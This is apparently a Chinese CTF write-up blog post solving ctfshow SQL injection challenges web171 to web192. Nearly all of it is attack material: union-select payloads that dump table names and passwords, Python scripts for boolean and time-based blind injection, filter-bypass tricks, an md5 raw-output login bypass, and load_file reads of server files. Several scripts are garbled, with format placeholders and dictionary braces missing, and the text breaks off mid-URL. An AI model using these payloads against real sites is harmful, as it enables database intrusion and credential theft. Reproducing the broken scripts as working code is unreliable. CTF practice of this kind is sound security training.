ctfshow web入门-sql注入
Posted H3rmesk1t
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ctfshow web入门-sql注入
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web171
- 根据题目给出的查询语句构造 Payload
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select 1,database(),3 --+
爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' --+
爆数据
-1' union select 1,concat(0x7e,id,0x7e,username,0x7e,password),3 from ctfshow_user limit 25--+
web172
- 根据题目给出的查询语句构造 Payload
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select database(),2 --+
爆表名
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
爆列名
-1' union select group_concat(column_name),2 from information_schema.columns where table_name='ctfshow_user2' --+
爆数据
-1' union select to_base64(username),to_base64(password) from ctfshow_user2--+
web173
- 根据题目给出的查询语句构造 Payload
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select 1,database(),3 --+
爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user3' --+
爆数据
-1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 --+
web174
- 发现无法在页面中获得输出，抓包后发现是布尔盲注
import time
import requests
def boolBlindSql(url):
flag = ''
for i in range(1,100):
low = 32
high = 127
while low < high:
mid = (low + high) >> 1
payload = "?id=1\\' and 1=if(ascii(substr((select password from ctfshow_user4 where username=\\'flag\\'),,1))>,1,0) --+".format(i,mid)
res = requests.get(url + payload)
if 'admin' in res.text:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
print('[+] ' + flag)
continue
else:
break
if __name__ == '__main__':
url = "http://9260e8d4-aa8f-47ca-8737-7e4bdc8bff09.challenge.ctf.show:8080/api/v4.php"
boolBlindSql(url)
web175
- 发现无法在页面中获得输出，抓包后发现也没有回显，猜测是时间盲注
import time
import requests
def timeBlindSql(url):
flag = ''
for i in range(1,100):
low = 32
high = 127
while low < high:
mid = (low + high) >> 1
payload = "?id=1\\' or if(ascii(substr((select password from ctfshow_user5 where username=\\'flag\\'),,1))>,benchmark(10000000,sha(1)),0)--+".format(i,mid)
try:
res = requests.get(url + payload, timeout=1.5)
high = mid
except Exception as e:
low = mid + 1
if low != 32:
flag += chr(low)
print('[+] ' + flag)
continue
else:
break
if __name__ == '__main__':
url = 'http://ea22cc4b-de61-4e78-8f26-7f4c5cb9b750.challenge.ctf.show:8080/api/v5.php'
timeBlindSql(url)
web176
- Payload
1' or '1'='1' --+
web177
- Payload
1'or'1'='1'%23
或者
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username='flag'%23
web178
- Payload
1'or'1'='1'%23
或者
1'%09union%09select%09password,1,1%09from%09ctfshow_user%09where%09username='flag'%23
web179
- Payload
1'or'1'='1'%23
或者
1'%0cunion%0cselect%0cpassword,1,1%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
web180
- Payload
-1'or(mid(username,1,1)='f')and'1'='1
web181
- Payload
-1'or(mid(username,1,1)='f')and'1'='1
web182
- Payload
-1'or(mid(username,1,1)='f')and'1'='1
web183
- 测试后发现当 POST
tableName=ctfshow_user时会有回显，根据回显内容构造脚本
import requests
def regexpBlindSql(url):
flag = ''
chrOfFlag = r'ctfshow-0123456789abdegijklmnpqruvxyz'
for i in range(1,50):
for ch in chrOfFlag:
data =
"tableName" : "(ctfshow_user)where(mid(pass,,1))regexp('')".format(i,ch)
res = requests.post(url, data=data)
if '$user_count = 1;' in res.text:
flag += ch
print('[+]' + flag)
break
if __name__ == '__main__':
url = '''http://c10f0bff-9f7e-4bdd-8d11-71c0eb7efa49.challenge.ctf.show:8080/select-waf.php'''
regexpBlindSql(url)
web184
- 由于这里过滤很多，上一题的
where也被过滤了，考虑用right join来进行注入
import requests
import string
import binascii
url = 'http://1e3df5be-6e3c-443b-b738-2471d9537f9c.challenge.ctf.show:8080/select-waf.php'
payload =
"tableName":''
flag = ''
chrOfFlag = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
judge ='$user_count = 22;'
for i in range(2,50):
for c in chrOfFlag:
a = flag + c
a = a.encode('utf-8') #按utf-8编码
a = binascii.hexlify(a) #编码为16进制
a = str(a) #化为字符串
a = '0x' + a[2 : len(a) - 1] #形成16进制格式
payload['tableName'] = "ctfshow_user a join ctfshow_user b on (substr(a.pass,8,) regexp )".format(i,a)
response = requests.post(url, data = payload)
if response.text.find(judge) != -1:
flag += c
print('[+] ' + flag)
break
web185
- 过滤了数字，用下面图片中相关内容进行绕过
import requests
url = 'http://3bfb7aa3-6f20-45d2-a207-b0f1c33cbd17.challenge.ctf.show:8080/select-waf.php'
preflag = 'ctfshow'
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, , ))regexp(hex(char))'
def createNumber(num):
ret = 'hex(ceil(cot(-ascii(char_length(now())))))'
if num != 1:
for i in range(num - 1):
ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))'
return ret
def noNumber2GetFlag():
flag = ''
for i in range(42):
# print('[+] Start blind palce'.format(i))
for ch in strings:
data =
'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch)))
res = requests.post(url, data)
if res.text.find('43') > 0:
flag += ch
print('[+] ' + flag)
break
return flag
if __name__ == '__main__':
print(noNumber2GetFlag())
web186
- 过滤条件绕过后和上一题一样的脚本
import requests
url = 'http://9ae687ca-baad-41a4-a8f1-a2c9dea3b271.challenge.ctf.show:8080/select-waf.php'
preflag = 'ctfshow'
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, , ))regexp(hex(char))'
def createNumber(num):
ret = 'hex(ceil(cot(-ascii(char_length(now())))))'
if num != 1:
for i in range(num - 1):
ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))'
return ret
def noNumber2GetFlag():
flag = ''
for i in range(42):
# print('[+] Start blind palce'.format(i))
for ch in strings:
data =
'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch)))
res = requests.post(url, data)
if res.text.find('43') > 0:
flag += ch
print('[+] ' + flag)
break
return flag
if __name__ == '__main__':
print(noNumber2GetFlag())
web187
- 分析源码，发现关键点
md5($_POST['password'],true)，当该十六字符二进制格式开头为' or '时，后面的字符串为一个非零的数字开头都会返回 True，这样便可以绕过这里从而拿到 Flag，这里给出几个符合条件的字符串：ffifdyop、129581926211651571912466741651878684928、
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin')
$ret['msg']='用户名不存在';
die(json_encode($ret));
POST: username=admin&password=ffifdyop
web188
- 这里再密码判断需要满足是一个纯数字，且后面进行了一个弱比较，考虑用
0来绕过，而在用户名判断的地方可以用布尔的0来绕过，这里为0其实也就是where username != 1，即可查出所有的用户信息，原因戳这
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\\(|\\)|\\'|\\"/i', $username))
$ret['msg']='用户名非法';
die(json_encode($ret));
//密码检测
if(!is_numeric($password))
$ret['msg']='密码只能为数字';
die(json_encode($ret));
//密码判断
if($row['pass']==intval($password))
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
POST：username=1<1&password=0
web189
- 题目给出 Flag 在
api/index.php里，用load_file盲注查询即可
import requests
from tqdm import tqdm
def load_fileBlindSql():
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
flag = 'ctfshow'
while True:
for ch in tqdm(strings):
temp = flag + ch
payload =
"username":"if((load_file('/var/www/html/api/index.php'))regexp(''),0,1)".format(temp),
"password":"1"
res = requests.post('http://98ddf685-7bb6-4661-be3c-81f5e80f2941.challenge.ctf.show:8080/api/index.php',data=payload)
if "\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in res.text:
flag += ch
print('[+] ' + flag)
if ch == '':
exit()
break
if __name__ == '__main__':
load_fileBlindSql()
web190
- 无过滤的布尔盲注
import requests
def boolBlindSql():
table_name = ''
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
headers = "Content-Type": "application/x-www-form-urlencoded",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
for i in range(1, 100):
low = 32
high = 127
while low < high:
mid = (low + high) >> 1
# payload = "username=admin' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>,1,0)--+&password=1"
# payload = "username=admin' and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),,1))>,1,0)--+&password=1"
payload = "username=admin' and if(ascii(mid((select group_concat(f1ag) from ctfshow_fl0g),,1))>,1,0)--+&password=1"
res = requests.post(url='http://609c417a-7958-45db-9922-03cb5253db3b.challenge.ctf.show:8080/api/', data=payload.format(i,mid), headers=headers)
if "\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in res.text:
low = mid + 1
else:
high = mid
if low != 32:
table_name += chr(low)
print('[+] ' + table_name)
continue
else:
break
if __name__ == '__main__':
boolBlindSql()
web191
- 过滤了
ascii，用ord即可
import requests
def boolBlindSql():
table_name = ''
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!'
headers = "Content-Type": "application/x-www-form-urlencoded",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
for i in range(1, 100):
low = 32
high = 127
while low < high:
mid = (low + high) >> 1
# payload = "username=admin' and if(ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>,1,0)--+&password=1"
# payload = "username=admin' and if(ord(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),,1))>,1,0)--+&password=1"
payload = "username=admin' and if(ord(mid((select group_concat(f1ag) from ctfshow_fl0g),,1))>,1,0)--+&password=1"
res = requests.post(url='http://e5b85a69-befa-4aca-80d1-9ae2c69224b2.challenge.ctf.show:8080//api/', data=payload.format(i,mid), headers=headers)
if "\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in res.text:
low = mid + 1
else:
high = mid
if low != 32:
table_name += chr(low)
print('[+] ' + table_name)
continue
else:
break
if __name__ == '__main__':
boolBlindSql()
web192
- 过滤了
ascii|ord|hex，不用它们就行啦
import requests
def boolBlindSql():
table_name = ''
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!'
headers = "Content-Type": "application/x-www-form-urlencoded",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
for i in range(1, 100):
for ch in strings:
# payload = "username=admin' and if((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))regexp(''),1,0)--+&password=1"
# payload = "username=admin' and if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),,1))regexp(''),1,0)--+&password=1"
payload = "username=admin' and if((mid((select group_concat(f1ag) from ctfshow_fl0g),,1))regexp(''),1,0)--+&password=1"
res = requests.post(url='http://85290226-1b87-48d5-b290-bc17c6dceb66.以上是关于ctfshow web入门-sql注入的主要内容，如果未能解决你的问题，请参考以下文章
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